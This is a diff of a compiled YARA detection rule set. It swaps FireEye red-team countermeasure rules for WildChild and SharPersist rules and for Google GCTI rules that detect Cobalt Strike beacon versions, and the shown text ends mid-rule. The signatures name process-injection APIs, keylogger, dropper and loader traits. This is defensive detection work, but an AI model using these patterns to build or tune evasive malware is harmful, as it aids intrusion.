-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_3.yar#L4-L19"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
-		logic_hash = "ee104bc145686a134e4d6d620dae7d1dacff7645d47f1a8d7a212327352b8e87"
+		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
+		logic_hash = "cf480026c31b522850e25ba2d7986773d9c664242a2667ecd33151621c98c91e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		rev = 1
 
 	strings:
-		$calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
-		$str1 = "CreateCompatibleBitmap" fullword
-		$str2 = "BitBlt" fullword
-		$str3 = "runCommand" fullword
+		$typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_7 : FILE
+rule FIREEYE_RT_APT_Loader_MSIL_WILDCHILD_1 : FILE
 {
 	meta:
 		description = "No description has been set in the source file - FireEye-RT"
 		author = "FireEye"
-		id = "f891e477-9ff2-57be-9ca5-dd87d9baee29"
-		date = "2020-12-02"
-		date = "2020-12-02"
+		id = "b9e0707e-98eb-55da-ad1d-6a84bd113747"
+		date = "2020-12-01"
+		date = "2020-12-01"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_7.yar#L4-L21"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/APT_Loader_MSIL_WILDCHILD_1.yar#L4-L18"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b"
-		logic_hash = "6d7822256ac1bef05304d3396df773e2b20a397311ad820d6ec5fe4cb6bdfbbc"
+		hash = "6f04a93753ae3ae043203437832363c4"
+		logic_hash = "a600c3d127f77dc1f99160e4a242e005970de0abd1798296b6a351b968ca1350"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		rev = 1
 
 	strings:
-		$1 = "initialize" fullword
-		$2 = "getData" fullword
-		$3 = "putData" fullword
-		$4 = "fini" fullword
-		$5 = "NamedPipe"
-		$named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 }
+		$s1 = "\x00QueueUserAPC\x00"
+		$s2 = "\x00WriteProcessMemory\x00"
+		$sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_2 : FILE
+rule FIREEYE_RT_Dropper_HTA_Wildchild_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
 		author = "FireEye"
-		id = "043f4e29-710d-5e17-a0ed-82cd3a565194"
-		date = "2020-11-27"
-		date = "2020-11-27"
+		id = "f570baa5-7d58-5a0a-b713-769e62076f76"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_2.yar#L4-L18"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Dropper_HTA_WildChild_1.yar#L4-L24"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "100d73b35f23b2fe84bf7cd37140bf4d"
-		logic_hash = "9fad845ed963fae46ac7ddc44407d5f6ed0a061f6a106764b9f912ef718279b4"
+		hash = "3e61ca5057633459e96897f79970a46d"
+		logic_hash = "60c1d53b8a43b9b7518f3260a4d61c6806641ee894a2a331a3a0a2ea0aff9d99"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		rev = 1
+		rev = 5
 
 	strings:
-		$alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
-		$inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
-		$s1 = "ResumeThread" fullword
+		$s1 = "processpath" ascii wide
+		$s2 = "v4.0.30319" ascii wide
+		$s3 = "v2.0.50727" ascii wide
+		$s4 = "COMPLUS_Version" ascii wide
+		$s5 = "FromBase64Transform" ascii wide
+		$s6 = "MemoryStream" ascii wide
+		$s7 = "entry_class" ascii wide
+		$s8 = "DynamicInvoke" ascii wide
+		$s9 = "Sendoff" ascii wide
+		$script_header = "<script language=" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		$script_header at 0 and all of ($s*)
 }
-rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_1 : FILE
+rule FIREEYE_RT_Loader_MSIL_Wildchild_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
 		author = "FireEye"
-		id = "dc162f26-66d3-5359-b1d7-ef2208b359e2"
-		date = "2020-11-27"
-		date = "2020-11-27"
+		id = "350dd658-46c9-573b-b532-07e4b437ba8d"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_1.yar#L4-L17"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Loader_MSIL_WildChild_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f20824fa6e5c81e3804419f108445368"
-		logic_hash = "2cae245a6aa36dccc2228cccefdc4ca0eb278901f063e072a369000f67d73a55"
+		hash = "7e6bc0ed11c2532b2ae7060327457812"
+		logic_hash = "e4320e33770613542182518ec787e4ccbb32f83c8afca5ec957d4846e6f4eb04"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 1
+		rev = 4
 
 	strings:
-		$alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
-		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+		$typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
 }
-rule FIREEYE_RT_APT_Downloader_Win64_REDFLARE_1 : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: GCTI
+ * Repository: https://github.com/chronicle/GCTI
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 1c5fd42b1895098527fde00c2d9757edf6b303bb
+ * Number of Rules: 90
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ *
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2022 Google
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+ */
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_44
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "15a5e22b-84b0-5b36-8772-1d496ac447b2"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win64_REDFLARE_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "9529c4c9773392893a8a0ab8ce8f8ce1"
-		logic_hash = "1b9bece6083403615841c752eac48fd20095e918d6e175563dd122be2885d875"
+		description = "Cobalt Strike's resources/beacon.dll Version 1.44"
+		author = "gssincla@google.com"
+		id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L17-L49"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2"
+		logic_hash = "ebed8b6dc0b929164b1aa25b491b9d2fbb61d380a8b1268df7d424afe90f613d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$const = "Cookie: SID1=%s" fullword
-		$http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }
+		$version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 }
+		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Raw32_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_45
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "8f8ec27f-afac-5da5-b76f-b984e14e0066"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw32_REDFLARE_1.yar#L4-L16"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4022baddfda3858a57c9cbb0d49f6f86"
-		logic_hash = "05ed89bd82600b4d5ef01ece2e0a9bd84e968988fd2bda1bab4ec316a9a9906b"
+		description = "Cobalt Strike's resources/beacon.dll Version 1.45"
+		author = "gssincla@google.com"
+		id = "04d4d0ee-f1ee-5888-8108-ca55243c770a"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L51-L84"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1"
+		logic_hash = "b1472907e0fe0cb26219c268f23483681cc076dab96c1b0f2f0ee472ad319b4f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? }
+		$version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 }
+		$decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }
 
 	condition:
-		( uint16(0)!=0x5A4D) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_46
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad"
-		date = "2020-11-27"
-		date = "2020-11-27"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "01d68343ac46db6065f888a094edfe4f"
-		logic_hash = "f9165aabe4bad215211cf98559099030ddb8a76175fbfcfee3c6f25d7614bdad"
+		description = "Cobalt Strike's resources/beacon.dll Version 1.46"
+		author = "gssincla@google.com"
+		id = "79715042-1963-5e48-8b64-7d915da58d84"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L86-L115"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76"
+		logic_hash = "1a5c63c8b5527c0442830a73ded8458cf82a9d8ecb9b31e9a02c10b27ed6195e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
-		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }
+		$version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 }
+		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_4 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_47
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_4.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "a8b5dcfea5e87bf0e95176daa243943d, 9dcb6424662941d746576e62712220aa"
-		logic_hash = "d027e98ad8fa6d03a49ceffd81fba6a621173e2dbabae652bee2f4e8489bb378"
+		description = "Cobalt Strike's resources/beacon.dll Version 1.47"
+		author = "gssincla@google.com"
+		id = "ac2249a9-210c-581f-8dd1-7619356dca7d"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L117-L144"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d"
+		logic_hash = "8c463d3122f3f79ff5d9b88e3d4f5ed14e6c581edfdfafba8a0c596c494ac1b1"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "LogonUserW" fullword
-		$s2 = "ImpersonateLoggedOnUser" fullword
-		$s3 = "runCommand" fullword
-		$user_logon = { 22 02 00 00 [1-10] 02 02 00 00 [0-4] E8 [4-40] ( 09 00 00 00 [1-10] 03 00 00 00 | 6A 03 6A 09 ) [4-30] FF 15 [4] 85 C0 7? }
+		$version_sig = { 83 F8 12 77 10 FF 24 }
+		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Keylogger_Win64_REDFLARE_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_48
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win64_REDFLARE_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "fbefb4074f1672a3c29c1a47595ea261"
-		logic_hash = "26fe577ba637c484d9a8ccc2173b5892a76328a90a39a2bebbae6bd2a6329485"
+		description = "Cobalt Strike's resources/beacon.dll Version 1.48"
+		author = "gssincla@google.com"
+		id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540"
+		date = "2022-11-18"
+		modified = "2023-12-04"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L146-L178"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
